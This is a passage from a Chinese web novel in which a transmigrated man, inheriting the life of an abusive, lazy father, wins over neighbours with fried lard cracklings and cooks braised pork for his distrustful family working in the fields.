确切的说,是望着江河手中木盆里还冒着热气的油渣。
“来,都来尝尝江爷爷刚炸好的油渣。”江河看着这些孩子渴望的眼神,会心一笑,从木盆里抓了一把油渣递向王小豆几人。
“谢谢江爷爷!江爷爷你真是太好了!”
孩子们顿时欢呼起来,先是把自己沾了泥巴的小手在身上狠劲的擦了擦,然后才小心翼翼地伸手各拿了一块焦黄的油渣,迫不及待地塞进嘴里。
“好香!好脆!好好吃!”王小豆吃得满嘴流油,眼睛都眯成了一条缝。
“真好吃!江爷爷真厉害!做的这个油渣好好吃!”其他孩子也纷纷称赞。
“好吃就多吃一些!”江河一点儿也不小气,一人给抓了一把放进他们的小手里,同时说道:“以后记得常来找江沫儿、江娴他们玩儿,有机会爷爷还给你们做好吃的!”
“嗯嗯!”几个小家伙瞬间被这把猪油渣收买,连连点头道:“江爷爷放心,以后江沫儿、江娴还有江涛他们,就是我们最好最好的朋友了,有我们在,谁也别想欺负他们!”
第26章 礼尚往来
谁说小孩子天真懵懂、不通人情世故了?
看看眼前这几个小朋友,全都聪明得很嘛!
江河才刚刚提了一句江沫儿与江娴,王小豆几人就已经清楚明白的把握到了他言语中的重点。
所谓拿人手短,**嘴短,他们从江河这里得了好处,吃了香喷喷的猪油渣,自然知道以后该如何对待江家的几个小孩子。
“很好!”江河很是满意的看着眼前这几个特别懂事的小朋友,道:“那我们家江沫儿、江娴还有江涛他们几个,以后就拜托你们几个多照顾了!”
“做为奖励,江爷爷再多给你们一把猪油渣,你们可以带回去给你们家大人也尝一尝!”
说着,江源把手伸到木盆里,分别给王小豆他们又抓了一把猪油渣,让他们带回家里去。
多了他也没敢给,倒不是不舍得,而是怕这些孩子家的大人会多想,以为他江河又在打什么鬼主意呢。
这样一小把,不多不少,也算不上多贵重多稀罕,用来沟通彼此间的关系,礼尚往来,刚刚好。
“谢谢江爷爷!”
“谢谢江爷爷!”
几个小家伙见江河竟然这么大方,一个个喜笑颜开,欢快的高声向江河道谢。
之后他们飞快的把江河刚刚给他们的那把猪油渣全都塞到嘴巴里面,一边肆意的咀嚼着,一边又伸出小手,将江河递来的第二把猪油渣小心的捧在自己的手掌心里。
“江爷爷再见,等晚一会江沫儿、江娴他们回来,我们再过来找他们玩儿!”
临走之前,王小豆还不忘跟江河约好下次过来的时间。
看得出,这小家伙还是蛮讲信誉的,吃了江河给的猪油渣,必须得跟江沫儿、江娴、江涛几个小伙伴好好玩一会儿。
当然了,也不排除他还想要继续在江河这里蹭吃猪油渣的可能。
这个小家伙,虎头虎脑,鬼精鬼精的。
江河目送着几个孩子出了院门,便轻笑着不再多想。
将手中盛放猪油渣的木盆放进屋里后,就开始准备烹制今天的重点菜肴——红烧肉。
另一边。
王小豆几个孩子离开江家之后,便各自回了自己的家里。
王小豆家就住在江家隔壁,最先到家。
只见他捧着手心里的猪油渣,像捧着什么珍宝似的,一路小跑着进了家门。
“娘!娘!你看我带什么回来了?”一进院门,王小豆就兴奋的就高声叫喊着。
王老四媳妇刘桂花刚刚抱怨完江河,又回到了之前的凳子前准备继续自己手中的针线活。
听到儿子的咋呼声,不由抬头向院门处观看。
当她看到王小豆的手中竟捧着一捧金灿灿、油汪汪、香喷喷的油渣时,不由一愣,猛的站起身来:“这哪来的?!”
闻到这熟悉的香味儿,再看看儿子嘴上明晃晃的油渍,明显是已经吃过了。
刘桂花的心一下就提了起来。
这熊孩子,该不是跑到江河那个二赖子家里偷吃了吧?
要真是这样的话,那他们老王家岂不是就摊上事儿了?
昨儿个江老太王三妮,就是从江河家的灶房里端了一盘肉与十几个鸡蛋,直接**河给讹走了足足一贯钱啊!
现在他家儿子偷吃了江河家的猪油渣,甚至还往家里带回来了这么多,万一**河给发现了,他们家得赔多少钱?
“这是隔壁江河爷爷给的!”王小豆献宝似的把猪油渣递到娘亲面前,道:“娘你尝尝,可香了!我刚才都吃过了!”
“啥?!”刘桂花一愣,有些不敢置信的看着儿子道:“小豆,你可不许骗娘,这猪油渣,真的是江河主动给你吃的,不是你偷偷钻到他们家自己偷拿的?”
刘桂花看着儿子手心里那捧猪油渣,色泽金黄,香气扑鼻,把人香得直迷糊,嘴巴里面的口水止不住的往外涌。
只是,她仍然有些不敢相信,江河那家伙竟然会舍得把这么好吃的猪油渣送人?
“真的!”王小豆急道:“真是江河爷爷给我们的,不信你去问小欢、小乐他们,江河爷爷也给他们猪油渣吃了!”
见儿子不像是在说谎,刘桂花犹豫了一下,终还是没有抵抗得了眼前猪油渣香气的诱惑,伸手捏起一小块放进了嘴里。
嘎吱!嘎吱!
酥脆的油渣在口中化开,猪油的香气混合着盐巴的咸味以及一股难以言明的独特芬芳,瞬时充满了她的整个口腔。
太美味了!
刘桂花忍不住微微眯起了双眼,好让自己更加静心的品味这难得的美味。
从小到大,活了三十几年,她还从来都没吃过这么好吃的猪油渣呢!
“怎么样,娘,好吃吧?”
“江爷爷说,这是让特意送给我们,让我们拿回家给爹娘也尝尝的。”
见娘亲似乎也被这猪油渣的美味给征服了,王小豆不由满眼得意的说道:
“他还说,以后要让我们多跟江沫儿、江娴他们一起玩儿,让我们保护他们呢!“
刘桂花闻言,不由再次愣住了。
这是江河那个自私吝啬、愚孝心盲,且还从来都不顾家人死活的二赖子渣爹能说出来的话?
她怎么就那么不相信呢!
这跟她所认识所了解的江河
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,简直就判若两人啊有木有?
“难道真的是磕坏了脑袋,转性了?不然的话,这狗东西怎么会突然想到关心起自己的子女与孙子孙女了?”
刘桂花喃喃自语,眼中带着一丝不解与疑惑。
与此同时,其他几个孩子也捧着油渣回到了各自家中。
“奶奶,您快尝尝,这是江河爷爷给的油渣!”
“爹,这是江河爷爷特意让我带回来给你们的!”
“娘,江河爷爷说以后只要我们愿意陪江沫儿、江娴他们玩儿,还会给我们做好吃的呢!”
“……”
类似的对话在几户人家里同时上演。
大人们的反应,跟刘桂花都差不多,又惊又疑,满眼的不敢置信,直以这又是江河的什么阴谋诡计。
只不过,孩子们带回来的猪油渣只有一小把,真要算起来的话,也值不得什么钱,他们也不好领着孩子再给人退回去。
那样的话,就算是落了江河的面子,跟直接上门打脸没什么差别,他们可做不出这么过分的事情。
“收下吧,了不起稍后让孩子们也送些吃食过去,算是回礼。总之,咱们不能欠了江河那小子的人情,免得以后会被他给沾惹上,甩都甩不掉。”
几户人家全都打定了这样的主意,这才心安理得的收下了孩子们带回来的这捧猪油渣。
不得不说,江河为人虽然不咋滴,但是这炸油渣的手艺真不是盖的。
几乎所有品尝过这份猪油渣的大人,都对江河的手艺赞不绝口,差点儿没有把自己捏着油渣的手指头给咬掉了。
“这江河,倒是学会做人了。”
临近正午的时候,王老四从地里回来,听媳妇说了这事,摸着下巴道:
“以前可从没见他这么大方过。他要是早几年变得这么通透懂事,家里的日子咋也不会过成眼下这个样子!”
“可不是嘛。”王老四媳妇点头,“以前的江河整个就是一个混蛋,媳妇被他娘给逼**,他连个屁都没放一个。”
“这些年,家里的孩子、媳妇全都被他给磋磨得都快不成人形了,那一个个瘦的哟,我这个外人看着都心疼……”
“行了行了,过去的事情就不要再提了。”王老四抬手打断媳妇儿的话,正色道:“既然他现在已经有所改变,还主动给了小豆这些吃食,咱们也不能差了事儿。”
“这样,一会儿小豆去找江沫儿他们玩的时候,让他带上二斤粟米当回礼,咱不能平白占了人家的便宜。”
刘桂花点头道:“当家的说得在理,确实应该如此,咱不占他**家的便宜!”
第27章 大儿媳的意外与震惊
经过一个多小时的文火慢炖,锅里的红烧肉块已然软烂入味,变得红艳欲滴。
浓郁的肉香,加上八角、桂皮等香料经高温烹煮之后所激发出来的混合香气,使得江家的整个小院都被熏得香气扑鼻,沁人心脾。
周围的邻居,还有所有路过他们家门口的村民,全都不由自主的会朝着他们家的方向多吸几口这样的香气,眼馋嘴馋心眼馋,口水止不住的往外流。
可是却没有一人敢上门来瞧看江河到底煮了什么东西,竟能散发出如此诱人的香味儿。
除了红烧肉之外,江河放进肉汤里一块烹煮的那二十枚剥了壳的水煮蛋,现在也已卤制入味,变成了晶莹剔透的琥珀色的特制卤蛋,看上去鲜香Q弹,很是诱人。
另外一边。
江河在一只砂锅一样的陶罐里煮的青菜瘦肉粥也已经基本完成,掀开陶罐的盖子,一股清新的米香与肉香交织着喷涌而出,入鼻腔,过肺腑,沁人心脾。
江河拿起勺子舀了一勺,放在嘴边尝了尝咸淡,感觉有些甜了,又往里稍稍加了些白盐,让青菜瘦肉粥变得更加入味。
到了这里,他精心烹制的这顿午饭,总算是圆满完成。
看着锅里的菜,罐里的粥,江河不由满意点头,今天终于可以敞开肚皮,吃一顿可口的饭菜了。
就在他掀开锅盖,准备给自己盛一碗红烧肉先过过嘴瘾,祭祭自己的五脏庙时,外面的院门突然被人推开。
江河扭头朝外面望去,看到竟是大儿媳赵穗匆匆从外面赶回,直奔灶房这边走来。
看样子,应该是回来准备午饭的。
赵穗一进院门,就闻到了弥散在空气中那诱惑得让人心神都有些不稳的浓郁肉香,不自觉的吞咽了口口水。
“这是谁家啊,大中午的就煮肉,还煮得这么香?”
赵穗小声的嘟囔了一句,压根就没想到这肉香会是从他们自己家里飘散出去的,还以为是左右哪家的邻居在炖肉呢。
毕竟,在她的印象中,自她嫁入江家以来,她的公公江河在家里一直都是衣来伸手,饭来张口,可从来都没有进过灶房,更别说是亲自下厨做饭了。
方才光顾着在地里忙活了,她竟然忘了时辰,没有提早回来煮饭,心中正忐忑不安,唯恐回来后公公会像以前那样劈头盖脸的就是一顿臭骂,说她不孝、想要把公爹饿死之类的话语。
所以她才会神色匆匆的快步从地里往家赶,一进院子就直奔灶房。
只是,当她越是靠近灶房之时,钻进鼻子里的那股肉香就变得越是浓郁诱人,赵穗的心里也不由泛起了一丝疑惑。
怎么这香气……竟像是从他们家灶房里飘散出来的?
只是……这怎么可能呢?
之前家里就只剩下公公一人在家,公公又不从来都不下灶房,怎么会……呃?!
心里正胡思乱想间,赵穗已然到了灶房门前,并看到了正围在灶台前准备从锅里盛菜的江河。
赵穗直接就愣在了当场。
她看到了什么?
她的公公不但在灶房之中,似乎还在炒菜做饭?!
刚刚她没有闻错,院子里那浓郁得几乎化不开的肉香,竟然真的是从他们自己家的灶房里散发出来的!
“爹,你……你……你这是在做饭?”
赵穗声音有些结巴的问了一句废话。
她也不想问出这么傻的问题,可是这一切来得实在是太过突然,太让她感到意外与震惊了。
在此之前,她完全都不敢想像,自己的老公爹,一个半辈子都没有下过灶房,还总是对她与老三媳妇做的饭菜挑三拣四,动不动就对他们又打又骂的渣爹,竟然也会亲自下厨做饭,而且还能做得这么好?
眼前的这一幕,在赵穗眼中,其震撼程度不亚于男人怀胎生了孩子,实在是太太太让人意想不到了!
“哦,是赵穗回来了?”江河假装没看到赵穗眼中的震惊之色,随口道:“这不是在家闲着没事儿,肚子就又饿了,便随便做了道菜,煮了点儿粥。”
说着,江河还装模作样的感叹了一句:“唉,这十几年都不曾下厨做过饭了,手艺都有些生疏了。”
在原身的零散记忆中,江河在十余岁的时候,确实到县里的酒楼里做过帮厨,不过因为不是那块料,且又喜欢跟人打架斗殴,在那边干了没有几个月,就被人酒楼老板给撵回来了。
不过现在,这样的经历,倒成了他解释自己厨艺来源的完美借口。
听江河这么一说,赵穗似乎想起了自己夫君以前似乎跟她提过一嘴,说是公公年轻时曾到县里酒楼当学徒的事情。
只是夫君以前跟她说的可是公公当年在酒楼里好吃懒做,根本就没学到什么真本事就被老板给赶回来了啊。
怎么现在,公公竟然会有一手这么好的厨艺,感觉这锅里炖出来的肉菜,竟要比县里的那些大酒楼里的饭菜还要香上十倍百倍!
难道是这么多年以来,公公一直都在藏拙,宁愿吃她与老三媳妇儿做出来的猪食,也不愿自己亲自下厨做饭?
虽然这么想感觉有些离谱,但是再想想公公本就不太正常的混账脾气与秉性,也并非是完全没有这个可能。
“怎么就你一个人回来了,老三他们两口子,还有几个孩子呢?”
江河见赵穗站在那里发呆,便朝着赵穗身后看了一眼,发现**、罗灵还有江源、江沫儿几个孩子全都没回来,不由开口向赵穗问了一句。
“哦,哦!”赵穗回过神来,接声道:“三弟和三弟妹还在地里忙着呢,本想着我回来做好饭给他们送去地里吃呢,没想到……爹你竟然已经把饭提前做好了……”
江河闻言微微
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点头,暗道这老三两口子,果然是这个家里的老黄牛,忙起来连饭都不回来吃了。
“行吧!”江河道:“既然他们不回来,那咱们就把这些饭菜全都带上,一起到地里去吃吧!”
“诶!唉?”
赵穗先是随口应了一声,之后反应过来,满眼意外与不确定的开口向江河询问确认道:
“爹,你说你也要跟着一起到地里去?”
“怎么?”江河没好气的斥道:“难道老子不能去?!”
“没有没有!”见公公又要发脾气,赵穗连连摇头道:“我不是那个意思,只是没想到爹你今天竟然愿意跟我们一起下地了……”
江河不由一阵无语,再次在心中非议原身真不是个东西。
自从娶了媳妇,又**十二两口子给赶出老宅之后,他就直接开始摆烂,不下地不种田,不养鸡不喂鸭,整天跟个大爷似的在村里闲逛,偷鸡摸狗,惹事生非。
这些年来,全靠着他媳妇与儿子、儿媳妇们养着他。
而他呢,却连自己家现在有几亩几分地,地头朝着哪个方向都不知道。
忒不是个玩意儿了!
也难怪人家赵穗在听到他说要去地里的时候,会表现出这样一副活见了鬼的表情。
“行了,别再废话了,赶紧过来帮忙,把这些粥和菜全都盛出来,送到地里去……”
江河不想解释太多,直接招呼赵穗过来盛装饭菜。
“江爷爷!江爷爷在家吗?”
这时,院门外传来一阵小孩子的呼喊声,江河闻言从灶房走出,看到竟是王小豆他们几个小家伙又来了。
不过这次,他们明显不是过来蹭东西吃的,每个人的手中都或多或少的拿着一些回礼。
江河走到院门前,开门请几个小家伙进来,不过他们全都以马上要回家吃饭为由拒绝了。
“江爷爷,这是我爹让我送来的一些粟米,是今年的新米,煮粥可香了!”
“江爷爷,这是我爷爷让我送来的一把青菜……”
“江爷爷,还有我,这是我娘刚烙的两张面饼,给您拿来尝尝……”
“……”
几个孩子争先恐后的把手中的东西塞到江河的手中,然后便一溜烟的小跑着离开了,江河想留都留不住。
灶房里,听到外面动静的赵穗走出房门,正好看到邻居家的几个孩子,不断的往自家公公手里塞东西。
有粟米,有青菜,有胡瓜,有面饼……
虽然都不是什么值钱的东西,但是……有人这般主动上门来给他们家送东西,这可是自她嫁入到江家以来,破天荒的头一次啊!
她公公今天上午在家里,到底都做了些什么啊,怎么就连附近的邻居也都开始变得对他们家这么友善了?
以前这些邻居不是都懒得搭理他们,对他们家里的人全都退避三舍的么?
第28章 送饭
院门外,江河看着自己手里或拎或捧着的一大堆东西,不由一阵摇头轻笑。
看来,他改善邻里关系的第一步,走得很成功。
只是送出去了几把猪油渣,就与周围的几家邻居完成了第一次的友好互动。
以后这样的礼尚往来再多来几次,彼此之间的关系就算是彻底缓和亲近起来了。
看到江河拎着一堆东西回到灶房,赵穗还是没有忍住开口向江河问道:
“爹,这些东西是……?”
“哦,这些啊,都是隔壁几家邻居送来的一番心意。”
江河一边将手里的东西放到灶房内的案板上,一边轻声向赵穗解释道:
“上午我在炼猪油时,见小豆子他们几个在门口玩儿,就给他们每人抓了一把刚炸好的猪油渣,没想到他们家大人竟都当回事儿了,还特意让他们送来了一点儿回礼。”
说着,江河又把刚刚放下的几张面饼拿起来,找了块干净的布条包好,道:
“正好,我中午只煮了稀粥,原还担心你们会吃不饱呢,现在好了,有了这几个孩子送来的大饼,倒是省得再多蒸一锅米饭了。”
赵穗怔怔的站在原地,有些不敢认识的看着自己的公公。
如果不是公公的身形样貌还跟以前一般无二,她是真的都有些不敢认了啊。
昨天断亲、讹钱,教训老宅一家,甚至还打断了恶毒奶奶的一条腿。
今天不但亲自下厨做饭,展露超凡厨艺,更是还一改之前抠搜小气的秉性,主动给邻家的孩子猪油渣吃。
甚至,还嚷嚷着要跟她一起下地,去给**、罗灵及几个孩子们送饭去!
这两天公公做出的这些事情,有一件算一件,在赵穗的眼中全都极不正常,极不合理。
都说江山易改,秉性难移。
公公今年都三十六岁了,当爷爷的人了,这作了半辈子闹了半辈子的秉性,怎么可能会说变就变了呢?
难道真如贾郎中昨天所说的那样,公公是因为磕到了头,伤到了脑子,所以才会突然间性情大变?
而不是被什么脏东西给附了身,迷了心智?
如果这真的只是一种病的话,赵穗倒是希望公公这病永远都别再好了,就这样一直维持着现状,再好不过。
不然,万一哪天公公突然又恢复到了以前那种好吃懒做,对家人非打即骂,对老宅卑躬屈膝、送钱送粮的老样子,他们一家可就真的要活不了了。
“赵穗,还愣着做什么,收拾东西赶紧走了,莫要让地里的孩子们饿急了!”
江河拿着包好的饼子,出声催促还在那里发愣的赵穗。
“诶,知道了爹,我这就收拾!”
赵穗回过神来,连忙将她刚刚就已经打包好的菜盆和装着米粥的陶罐拎起来搭在了肩上,跟着江河就出了院门。
“爹,你走错方向了,咱家的地在村西头呢。”
刚离开院子,赵穗就忍不住开口叫住了闷着头直往村东方向走的江河。
同时也感觉有些荒唐、好笑与悲凉。
她都已经嫁进江家有七年时间了,从来都没有见公公下过地,干过半点儿农活也就罢了。
可是她是真的没有想到,公公竟然连自家的地在哪边都不知道。
这种事若是说与外人听,别人还不得笑掉大牙?
“哦,刚刚在想事情呢,有些走神了!”
江河的老脸微红,尴尬不已的为自己找补。
刚刚他原本是想要让赵穗先走的,好在前面给他带路。
谁知道这个大儿媳太孝顺,死活都不愿走在公公前面。
没办法,江河只好随便赌了一把。
结果显而易见,他赌错了。
他们家的地并不在村东,而是在相反的村西。
这脸啊,真是丢大发了。
不过这也怪不着他啊,谁让他的这原身太奇葩太不是东西,连自家的地在哪都不知道呢?
得亏他是生活在这个以孝治国的大宣朝,儿女们纵使对他再不满,心中再有怨气,也必须得忍着受着,不敢有半点儿反抗忤逆。
否则,就他这样死作死作的奇葩货色,放在江河生活的那个时代,三观稍微正常一点儿的儿女们,早就把他给轰出家门,或是直接送到养老院去了。
“爹,你还是……跟着我走吧,我在前面给你引路!”
赵穗看了一眼嘴硬的公公,没有直接将他的谎言拆穿,而是率先一步走在前面为其带路。
对此,江河自然是求之不得,就这样缓步跟在儿媳的后面,一路出了下河村。
这还是江河自穿越过来之后,第一次走出下河村。
一出村口,便觉视野豁然开朗了起来。
秋日的阳光洒在刚刚翻耕过的田地上,湿润的泥土在阳光的照耀下泛着深褐色的光泽。
空气中弥漫着泥土特有的清新气息,混杂着些许草木燃烧后的焦香。
远处的山峦层林尽染,枫叶正红,银杏金黄,与近处新翻的田地构成一幅生动的秋日画卷。
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田埂上,几株野菊花顽强地绽放着,淡黄色的花瓣在微风中轻轻摇曳。
偶尔有几只麻雀从田间飞起,又落在不远处的干草堆上。
江河深吸一口气,这乡间的清新空气让他心旷神怡,片刻就忘了刚才走错路时的尴尬画面,整个人都感觉轻松了许多。
“爹,就在前面了。”赵穗走在前面,指着不远处的一片田地向江河说道。
江河顺着她指的方向望去,只见在一片新翻的土地上,三个身影正在弯着腰身忙碌着。
**和江源兄弟俩正一前一后地拉着犁,汗水浸湿了他们单薄的衣衫。
罗灵则跟在后面,弯腰将土块敲碎,再些许杂草挑到一边,动作熟练而麻利。
在地头的树荫下,五个小孩子正在玩耍。
十岁的江沫儿正用草茎编着草帽儿,其他四个年岁更小的孩子围在她的身边,津津有味的看着、学着,不时还会有清脆的笑声传来。
“沫儿!娴儿!涛儿!”赵穗远远地唤了一声。
几个孩子闻声抬头,看到大伯母(娘亲)来了,立刻展露出了开怀的笑意,纷纷站起身来想要过来迎接。
但是,当他们的目光触及到江河时,脸上的笑容顿时收敛了几分,不自觉地止住身形,甚至还往后退了退。
江沫儿下意识地把几个侄子侄女护在身后,怯生生地叫了声:“爹!”
江河见状,心里不由一阵酸楚。
这些孩子对他的畏惧,是原身长期以来的漠不关心、动辄打骂所留下的晦暗阴影及心理创伤。
绝对不是他现在说几句好话,做一两顿好吃的饭菜,就能轻易修复抹平的。
想要让这些孩子们彻底接受他这个渣爹、渣爷的转变,与他变得亲近起来,任重而道远啊。
“都过来吧,看爷爷给你们带了什么好吃的。”江河抬手冲几人招了招手,尽量让自己的声音还有脸上的笑容,更加温和柔顺一些。
五个孩子互相看了看,却谁也不敢先迈步。
最后还是赵穗走过去,牵着他们的小手一起来到了江河的身边。
这时,田里正在劳作的三人也看到了他们,忙放下手中的活计走了过来。
“爹,你咋来了?”
**一边抬手擦去额角的汗水,一边惊讶地看着江河,眼神不自觉的泛起了几分警惕与戒备。
十几二十年都不曾下过地的老爹,现在却突然出现在了地头,该不是想要打他们家田地的主意吧?
第29章 人心中的成见是座大山
“爹,你该不会是还想要把咱家的田给卖掉吧?”
**满眼警惕地看着自己这个渣爹,失声询问。
因为早在这之前,江河就曾不止一次提过要卖掉家里的几亩良田,供老宅的江贤、江达读书求学之用。
是**、罗灵这两口子死命恳求,挨了不知多少打和骂,才让江河暂时放弃了卖田的想法。
可是现在,十几二十年都不曾下过地的老爹,突然间来到了地里给他们送饭,怎么想都觉得不正常。
除了是还想要卖地之外,**实在是想不出还会再有别的什么原因。
“爹,咱们家就指望着这几亩薄田过活了,可千万不能卖啊!”
听了**的话,罗灵的面色也跟着变得惨白一片,颤声开口向江河乞求起来。
话还没有说完,眼眶里的泪珠就止不住地往下掉。
田地是他们农家人的命根子,家里的吃穿用度,全都得靠着这几亩薄田。
这些田真要是被公公给卖了,那他们这一家老小,以后可就真的活不了了。
这……
江河直接就被老三两口子的话给弄懵了。
不是,我多前儿说过要卖田的?
老子只是好心好意过来送个饭而已,怎么就成了逼儿卖田、断全家活路的恶人了?
看看旁边几个孩子看他的眼神,畏惧之中带着一丝厌恶与疏离,哪里有半点儿女看老子,孙辈看祖父的亲近及敬重?
还有跟他一起过来的大儿媳赵穗,现在看他的眼神也完全变了,似乎也在担心他是别有用心,是在打这几亩田的主意。
果然啊,人心中的成见是座大山,在没有扭转眼前这些儿孙们对他之前种种不靠谱作为的固有观念之前,无论他做什么,都会被无端猜忌。
“那什么……”
江河刚要开口解释几句,脑子里面便自动涌现出了一些关于卖田的相关记:
“……**、罗灵,还有赵穗,你们怎么就这么不懂事呢?”
“老子为什么要卖田,为什么要供养江贤、江达他们两个读求学?说到底还是为了你们着想?”
“你们爷奶说了,以后江贤、江达若是科举入仕当了大官,那就是光宗耀祖,是显姓扬名!”
“到时候,老子作为他们的大伯,你们作为他们的堂兄弟、堂姐妹,也都能跟着沾光,到哪都被人高看一眼?”
“现在咱们送出去的这些钱和东西,以后江贤、江达肯定会十倍百倍的送还给咱们,做人不能太自私,更不能鼠目寸光,眼光要放长远一点儿!”
“……混账东西,这个家是老子说了算还是你们这些不孝子说了算?今天这个田卖也得卖,不卖也得卖!”
“好好好,学你们娘以死相逼是吧,看老子今天不打断你们的腿!”
“……”
翻看完这些零散的记忆画面,江源忍不住就想要给原身一个大逼兜!
原身误我啊!
卖自己家的田,养别人家的娃儿读书求学,这特娘的是正常人正常脑子能想来的主意?
就老宅那一家吸血鬼的凉薄本性,他们以后真要是飞黄腾达了,怕是要做的第一件事情,就是以已经分家为由,把江河一家给远远踹开吧?
真是个没脑子的蠢货啊!
就算是想要供养读书人,你供养自己家的崽他不香吗?
退一万步来讲,就算是江源、江涛几个小的不是读书的料,你拿这些钱给自己家里人改善一下生活,也总好过喂投给白眼狼啊。
江河忍不住又在心中蛐蛐了原身一番。
这都是原身给他留下来的黑锅,搞得他现在想甩都甩不掉了。
抬起头,看着眼前儿女们警惕、戒备甚至还有一些绝望的眼神,江河心中不禁五味杂陈。
他深吸一口气,缓缓站起身,声音和缓的轻声向几人解释道:
“你们……误会了,我跟老宅已经断了亲,以后老死都不会再相互往来,更不会再供江贤、江达他们读书束脩,自然也就没有理由再卖家里的田地了。”
“况且,我现在手里并不缺钱,你们忘了,我昨日才刚刚从王三妮那里得了一贯钱的赔偿……”
说着,他又弯腰从地上抓起一把泥土。
湿润的泥土从他指缝间滑落,带着秋日特有的凉意。
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说实话,他根本看不出这地是好是坏,纯粹就是做做样子。
“还有这地……”
江河的声音低缓,努力让自己的表情看上去有些忧郁、深沉。
“这些地,是你们阿娘当年一锄头一锄头开垦出来的。”
“我江河纵使再不是东西,日后也绝不会再卖你们阿娘用血汗换来的这些田地了。”
**愣住了,似乎没想到会听到这样的回答。
罗灵和赵穗也面面相觑,不敢相信自己的耳朵。
这是他们的渣爹能说出来的话?
在他们的记忆中,渣爹对他们阿娘不是打就是骂,何曾感受到过他对他们阿娘有过半分感情?
他们永远也不会忘记,阿娘被王三妮堵门逼死之后,他们这个渣爹可是连半句为娘讨公道的话都没有说。
反而还当着围观村民的面,说是娘忤逆不孝,冲撞公婆,就算是**也是活该!
这样一个连他们阿娘死活都不在意,甚至还在阿娘身死之后故意败坏阿娘名声的家伙,现在却在这里假模假样的装深情,谁能信?
**与罗灵全都冷眼的看着江河的表演,对他所说的这些话,半句也不相信。
倒是赵穗,回想起今天发生在家里的种种异常,不由心神微动,适时地站出来开口为江河打起了圆场:
“三弟,三弟妹,爹既然都这么说了,你们就别再疑神疑鬼了,快过来吃饭吧!”
说着,赵穗将挎在肩上的陶罐及菜盆取下,一边打开,一边向几人招呼道:
“快来看看,今天的饭菜可是爹亲自下厨给你们做的,有粥有肉还有猪油渣,可香了,你们快来尝尝!”
什么?什么?
这顿饭竟然是他们的渣爹亲手做的?
是他们听错了,还是大嫂糊涂了,在这胡言乱语呢?
他们爹是什么德行,他们还不清楚吗?
平常在家就是饭来张口、衣来伸手的大爷、祖宗,别说是下灶房做饭了,就算是吃剩的碗也从来都没见他刷过一次啊。
就这样的懒爹渣爹,他会愿意下灶房给他们一家人煮饭吃?
别开玩笑了!
第30章 变化
没有理会**、罗灵等人脸上意外与不可置信的表情,赵穗已然将她装在布袋里的饭菜一一取出,放在相对干净的地面上。
就在陶罐上面的盖子,还有遮在菜盆上的竹篦被掀开的瞬间,一股股前所未有的浓郁香气猛地窜出,瞬间在周围的空气之中弥漫扩散。
红烧肉的酱香醇厚,猪油渣的独特焦香,还有青菜瘦肉粥散发出来的清新米香,三种香气交织在一起,形成了一种让人食指大动的奇妙组合。
闻到这个味道,**等人全都愣住了,不自觉地深吸了一口气。
这香味儿……也太诱人了!
说句毫不夸张的话,他们这辈子都没闻过这么香的味道,都不敢想象这些饭菜要是吃到嘴巴里,得有多么好吃!
江娴、江涛、江夏、江琴四个小家伙最先忍不住,纷纷提着小鼻子使劲抽动着,口水都不受控制的流出来了:“好香啊……好想吃!”
江源、江沫儿也一边吞咽着口水,一边不自觉的往饭菜的跟前凑了凑,眼巴巴的看着被大嫂摆放在地面上的诱人吃食。
老三**与三媳妇罗灵,也站在旁边,先看了看陶罐里大小如一、色泽红亮的红烧肉与晶莹剔透如琥珀一般的卤鸡蛋。
又看了看大瓷碗里被炸得金灿灿香喷喷的猪油渣,还有陶罐里仍冒着热气的青菜瘦肉粥。
两人面上的神色一变再变,满眼的不敢置信。
“大嫂,这……这些饭菜真的全都是爹自己做的?而不是从县里的酒楼中外带回来的?”
不怪**、罗灵心中起疑,实在是这么色香味俱全的饭菜,他们以前也只在县城里的那些大酒楼里见过。
那还是他们前几年去县里寻二哥的时候,在二哥打杂的那间酒楼里远远的见过一次。
人家大酒楼里的饭菜,不但闻着香,看着也很是美观精致,光是远远的瞄看上一眼,闻闻味儿,就让他们回味了好几天都忘不了。
而眼前大嫂摆出来的这些饭菜,给他们的感觉,竟然要比二哥所在的那家望福楼内的菜色,还要精致诱人得多。
这样堪比酒楼大厨烹制的菜式,怎么可能会是他们不学无术、一事无成又好吃懒做的渣爹能够做得出来的?
“自然不会有假!”赵穗肯定地点头道:“我方才回去的时候,爹才刚刚把这盆又有肉又有蛋的菜给煮好,爹说这是……对,红烧肉,还有卤鸡蛋,这香气都能把人给香迷糊了!你们快来尝尝看!”
说着,她给每人都盛了一碗青菜瘦肉肉粥,又分别往粥碗里夹了几块红烧肉,一颗卤蛋及一勺猪油渣。
**双手接过大嫂递来的粥碗,盯着碗里那几块颤巍巍、泛着诱人油光、香气扑鼻的红烧肉,迟迟没有下筷。
这肉的色泽太漂亮了,四四方方,红亮诱人,肥瘦相间,别说是吃了,光是看上一眼,闻上一闻,就知道它必然是美味非凡。
这……真的是他那个自他记事之日起,就从来都没有下过灶房的渣爹做出来的?
他怎么就那么不信呢?
就在**看着碗中的红烧肉发呆发愣的空当,他的旁边,江源、江沫儿、江娴、江涛等几个小家伙,也分到了属于他们的那份饭菜。
早就已经被这诱人的香气给诱惑得口水直流,肚皮咕咕直叫的他们,可是再没有半分矜持与客气,第一时间就扒了一块红烧肉塞进自己的小嘴巴里。
哇~!
五个小家伙几乎同时眼前一亮,眸光中闪现着惊喜、欢愉、幸福、满足甚至兴奋的色彩。
他们不知道该怎么形容自己吃到的这口红烧肉的感觉,只知道这绝对是他们这辈子吃到过的最最最最好吃的东西,没有之一!
吃完第一口后,紧接着他们就不顾一切的大口咀嚼、狼吞虎咽起来,吃得那叫一个欢快与香甜。
有这么夸张吗?
见几个孩子吃得这般“狂野”与“肆意”,且还带着一脸的满足与幸福之色,**也不由吞咽了一口口水。
他终于不再犹豫,拿起筷子缓缓夹起一块碗里的红烧肉,小心翼翼地送入口中。
下一秒,他猛地睁大了眼睛。
这块肉……肉质软烂,肥而不腻,脂香浓郁,入口即化。
咸甜适中的酱汁在口中爆开,混合着说不清道不明,但却沁人心脾的独特香料味道,形成了一种他从未品尝过的极致口感,美味无比!
这、这真是猪肉吗?
怎么能做得这么好吃?!
**忍不住在心中长声感叹,口中的咀嚼速度不断加快,眸中的光亮也变得越来越鲜明耀眼。
一口咽罢,他又忙不迭的往嘴里送了第二口,第三口。<
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br>就这样一口一口,一筷一筷,不知不觉之间,碗里的五块红烧肉竟全都进了他的肚子!
更离谱的是,吃完之后,他还不自觉的伸舌头舔了一下自己嘴唇上沾着的酱汁,满脸意犹未尽之色。
